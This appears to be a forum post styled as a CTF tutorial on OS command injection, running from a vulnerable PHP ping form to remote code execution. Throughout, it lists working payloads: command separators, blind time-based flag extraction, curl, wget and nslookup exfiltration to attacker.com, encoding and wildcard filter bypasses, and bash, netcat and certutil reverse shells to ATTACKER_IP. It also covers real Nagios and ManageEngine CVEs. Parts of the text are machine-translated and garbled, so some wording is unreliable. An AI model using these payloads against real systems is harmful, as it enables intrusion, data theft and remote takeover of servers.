Command Injection in CTF: from intelligence to RCE

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
548
Reaction score
955
Deposit
0$
How does OS command injection occur in web applications

OS command injection occurs when a web application transmits custom input directly to a system call without sanitization. In terms of MITRE ATT&CK, a successful command is the Exploit Public-Facing Application (T1190, Initial Access) followed by running through Unix Shell (T1059.004) on Linux/macOS or Windows Command Shell (T1059.003) on Windows. In the PHP/Linux scenario below, it is T1059.004 that is applicable. Read more in our article about creating ctf tasks.

Typical CTF scenario: PHP script calls shell_exec() or system() with parameter from the GET request. The ping form receives an IP address and puts it in the system command:

<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 1 " . $ip);
echo "<pre>$output</pre>";
?>

Send 8.8.8.8; id – the team turns into ping -c 1 8.8.8.8; id, and together with the result ping arrives the conclusion id. This is not the specifics of PHP: similar features are in NodeJS (child_process.exec), Python (os.system, subprocess.run with shell=True) and other languages. The essence is one: if the user input hits the shell interpreter without filtering, the attacker monitors the execution of commands on the server.

The nuance on which the command injection is often confused with injection code. When command injection payload is performed in the context of system shell (bash, sh, cmd.exe). In code injection – in the context of the programming language (PHP eval(), for example). If the payload starts with a divider like ; and triggers a binary – this is a command injection, even if the body of the payload contains a PHP code. According to Fastly, localhost; php -r '$sock=fsockopen(...)' – is command injection through the shell of the OS, not code injection, because php -r is called as a system team through shell.
Operators for injecting OS commands

The key to operating command injection in CTF is knowledge of operators that force you to execute shell second command. The choice depends on the OS, interpreter and set of filters.
Team dividers

Point with a comma ; executes commands sequentially: ping 127.0.0.1; whoami. Single ampersand & launches the first command in the background and immediately performs the second: ping 127.0.0.1 & id. Double Ampersand && performs the second only when the first is successful (it is useful when the first command should work without error). Pipe | transmits the first command stdout to the stdin second, but the second is performed independently: ping 127.0.0.1 | whoami. Double pipe || – launch of the second command only when the first error is error: invalidcmd || id.

On the CTF start with ; and | – they work in most shells without additional conditions. Both blocked? Move to %0a (line transfer) and command substitution.
Substitution of commands

Inverse quotes and construction $() insert the command output as part of the line. Input `whoami` or $(whoami) executes the command and sets the result. The nested substitutions also work: $(echo $(id)). On CTF, it is an important vector: the direct divider is often filtered, and $() – no, because the developers do not consider it a “team divider”. In vain.
Line Transfers

The symbol %0a (URL-encoded \n) and %0d (carriage return) bypass filters that check only ;, | and &. Payload 127.0.0.1%0aid in the GET, the parameter is interpreted by shell as two separate commands. A show example from wildlife: CVE-2023-29084 in ManageEngine ADManagerPlus was operated through a CRLF injection. The developers shielded the classic metasymbols, but missed \r\n, and payload [content]\r\ncalc.exe led to the execution of an arbitrary team. EPSS for this CVE is 0.9817 (top 1% among all CVEs in the database).
Blind command injection: no visible output detection

Not every CTF task displays the command result in an HTTP response. The application returns only "Host is up" or static text - before us blind command. Here begins the most interesting.
Time-based check

The idea is simple: if sleep 5 makes the server respond five seconds longer – the injection is confirmed. Payloads for Linux: ; sleep 5, | sleep 5, $(sleep 5). For Windows: & ping -n 10 127.0.0.1 (each ICMP package ≈ 1 second) & timeout 5. It is necessary to measure relative to baseline: the normal answer comes for 200 ms, and with sleep 5 - for 5200 ms? RCE confirmed.

For the extraction of data, the pobitovo is a conditional design: ; if [ $(cut -c1 /flag.txt) = "f" ]; then sleep 3; fi. If the first symbol of the flag is f, the answer is delayed by 3 seconds. By selecting positions and symbols, you can read the entire file. Slowly? Yeah. Yeah. But when there are no other channels, it works.
Out-of-band data exfiltration

DNS or HTTP-callback are used to obtain data in their entirety. DNS Exfiltration: ; nslookup $(whoami).attacker.domain – result whoami will become a subdomain in the DNS request, visible on the attacker's side. Tools: Burp Collaborator (Burp Suite Pro), interactsh by ProjectDiscovery (free) or own DNS server on VPS.

HTTP-callback: ; curl http://attacker.com/$(cat /flag.txt | base64) – the contents of the flag in base64 will fall into the access log of the controlled server. Alternative through wget: ; wget http://attacker.com/?d=$(id | base64). Both utilities are used here for OOB-exfiltration of data (upload/download according to the GTFOBins classification), and not to obtain interactive shell shell.

The restriction that is forgotten: OOB-technics require the target container to have access to the network. In CTF on isolated Docker stands without external time-based access remains the only channel.
Bypassing the command injection filters in CTF

Almost every CTF medium-level task and above applies filtering. Blacklist of symbols, regex checks, custom sanitizers - here begins a real work. According to OWASP OS Command Injection Defense Cheat Sheet, even shlex.quote in Python and escapeshellarg() in PHP do not always save from argument injection.
Blocking spaces

If the gap is filtered, alternatives: variable $IFS (Internal Field Separator) – cat${IFS}/etc/passwd; brace expansion — {cat,/etc/passwd}; redirection of input — cat</etc/passwd; tabulation — cat$'\t'/etc/passwd; hex code of space — cat$'\x20'/etc/passwd.

In practice $IFS It works most often – it is almost never filtered.
Blocking specific teams

When the filter blocks cat, ls, whoami – the techniques of obfuscation work. Insert quotes: w'h'o'am'i or w"h"o"am"i – bash removes quotes when parsing, but regex does not find the word whoami whole. Reverse slashes: \w\h\o\a\m\i. Concatenation through variables: a=who;b=ami;$a$b. Reverse line: $(rev<<<'imaohw').

To read files instead of locked cat - head, tail, tac, less, more, nl, xxd, base64, sort. Team base64 /flag.txt especially convenient in CTF: the output does not contain special characters that can break the HTTP response.
ANSI-C notation and encoding command injection payload

This reception was shown by the winner of the Dojo CTF Challenge #36 on YesWeHack. The bottom line: if regex checks availability [a-zA-Z] and when you match, the input shields, you can bypass it through the ANSI-C notation $'...' with eight character codes:


cat${IFS}/etc/passwd


$'\143\141\164'${IFS}$'\057\146\154\141\147\056\164\170\164'



echo${IFS}"Y2F0IC9mbGFnLnR4dA=="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash


Shell reveals escape sequences into normal characters, and regex doesn't catch them because there's not a single letter in the original line. Beautiful, right? Hex option through xxd: bash<<<$(xxd -r -p<<<636174202f666c61672e747874). Both techniques correspond to Command Obfuscation (T1027.010) according to the MITRE ATT&CK classification.
Wildcard-bypass of the track

If the filter blocks specific strings of type /etc/passwd or flag.txt, symbols ? and * replace one and more characters, respectively: /???/??t /???/p??s?? revealed in /bin/cat /etc/passwd. For the flag: cat /fl?g.txt, cat /fla*, /???/??t /fl??.*. Combined with bypassing spaces: {/???/??t,/fl??.*}.

It looks like a cipher, but the bash turns it all around without question.
Reverse shell via command injection

In CTF tasks with multi-stage operation (pivoting, privilege) one cat /flag.txt Not enough, you need an interactive shell.

Linux/macos (T1059.004 – Unix Shell). Classic bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. For minimum containers without bash with support /dev/tcp – netcat via FIFO: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f. Python one-liner via socket + subprocess + os.dup2 – works almost everywhere where Python is installed.

Windows (T1059.003 – Windows Command Shell). PowerShell reverse shell via New-Object System.Net.Sockets.TCPClient or downloading the binary through certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Temp\shell.exe && C:\Temp\shell.exe (known LOLBAS technique; in environments with active Defender/EDR is usually detected signature, but on CTF stands without AV – works).

If the payload is not placed due to the limitations of the length - crushing: write the script through echo ... >> /tmp/s.sh in parts, then bash /tmp/s.sh. On the side of the attacker - nc -lvnp 4444 for connection.
Real CVE: command injection in the wild

CTF tasks simulate real vulnerabilities. Three CVEs in Nagios XI version xi-5.7.5 (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298) is a telling example of how command injection looks in productive monitoring software.

CVE-2021-25296 (CVSS 8.8, HIGH) — instruction injection in windowswmi.inc.php config wizard. An authenticated user with low privileges could execute an arbitrary OS command with one HTTP request. It is noteworthy that in NVD for this CVE CWE-ID is not assigned, unlike the following two. CVE-2021-25297 (CVSS 8.8, HIGH, CWE-78) — similar injection in switch.inc.php. CVE-2021-25298 (CVSS 8.8, HIGH, CWE-78) — the same in cloud-vm.inc.php.

General CVSS vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H – network access, low complexity of the attack, you need minimal privileges (PR:L), the user’s action is not required (UI:N), full impact on privacy, integrity and accessibility. All three are added to the directory CISA KEV (Known Exploited Vulnerabilities) January 18, 2022 — confirmed active exploitation. According to inthewild.io, CVE-2021-25296 has been in operation since March 2021. EPSS for CVE-2021-25298 — 0.7515 (top 1%), for CVE-2021-25296 — 0.7218 (too top 1%). CISA-ADP SSVC Decision for all three - Act (patch exploitation immediately),: active, technical impact: total.

For automated system verification on these CVEs, there are Nuclei templates from ProjectDiscovery: CVE-2021-25296.yaml, CVE-2021-25297.yaml, CVE-2021-25298.yaml – launched by one team nuclei -u http://target -t http/cves/2021/CVE-2021-25296.yaml -t http/cves/2021/CVE-2021-25297.yaml -t http/cves/2021/CVE-2021-25298.yaml.

Special attention deserves CVE-2023-29084 in ManageEngine ADManagerPlus (EPSS 0.9817, top 1%). The developers wrote the sanitization function CommonUtil.getPowerShellEscapedValue, which shielded metasymbols like &, |, ; - but missed the CRLF. One class of missed symbols zeroed all the defense. According to Fastly, this is a typical anti-pattern: the blacklist approach to sanitization always leaves a loophole. Always.
Command injection methodology in CTF tasks

Checklist, which replaces the chaotic overtaking of payloads with a systemic approach:

Step 1 – Reconnaissance of input points. Determine the parameters where custom input can get into the system command: ping/traceroute/nslookup forms, file converters (ImageMagick, ffmpeg), PDF generators, any APIs with parameters host, ip, filename, cmd, url. Check HTTP headers: User-Agent and X-Forwarded-For are sometimes logged through system(). If source code is available, search for calls system(), exec(), popen(), shell_exec(), child_process.exec(), os.system().

Step 2 – Detection through time-based. Send ; sleep 5 and measure the delay in response. If ; filtered — try | sleep 5, $(sleep 5), %0asleep 5. If the space is blocked, ${IFS} instead of space: ;sleep${IFS}5. Confirmed delay = confirmed by RCE (System Information Discovery, T1082).

Step 3 – Map blacklist. Consistently send single characters and commands, noting what causes the blocking: ; | & $ ( ) \ ` ' " gap. Check separately: are you allowed {, }, <, >, %0a, $'...'. The result is a map of available structures for assembling payload. Without this card, you shoot blind.

Step 4 – Assembling the payload and reading the flag. Using the available symbols and a suitable bypass technique, assemble a working payload. First id or whoami for confirmation. Then ls / and find / -name "flag*" for file detection (File and Directory Discovery, T1083). Read the flag: cat /flag.txt or its obfusced equivalent (Data from Local System, T1005). If Credentials In Files (T1552.001) is to search for passwords in configs for further escalation.

Step 5 – Reverse shell if necessary. For tasks with privilege or pivoting - raise the reverse shell. Check availability nc, python, bash with /dev/tcp, curl/wget (to download the reverse-shell script on the target and launch it). Collect payload taking into account the filters from step 3.
 
Top Bottom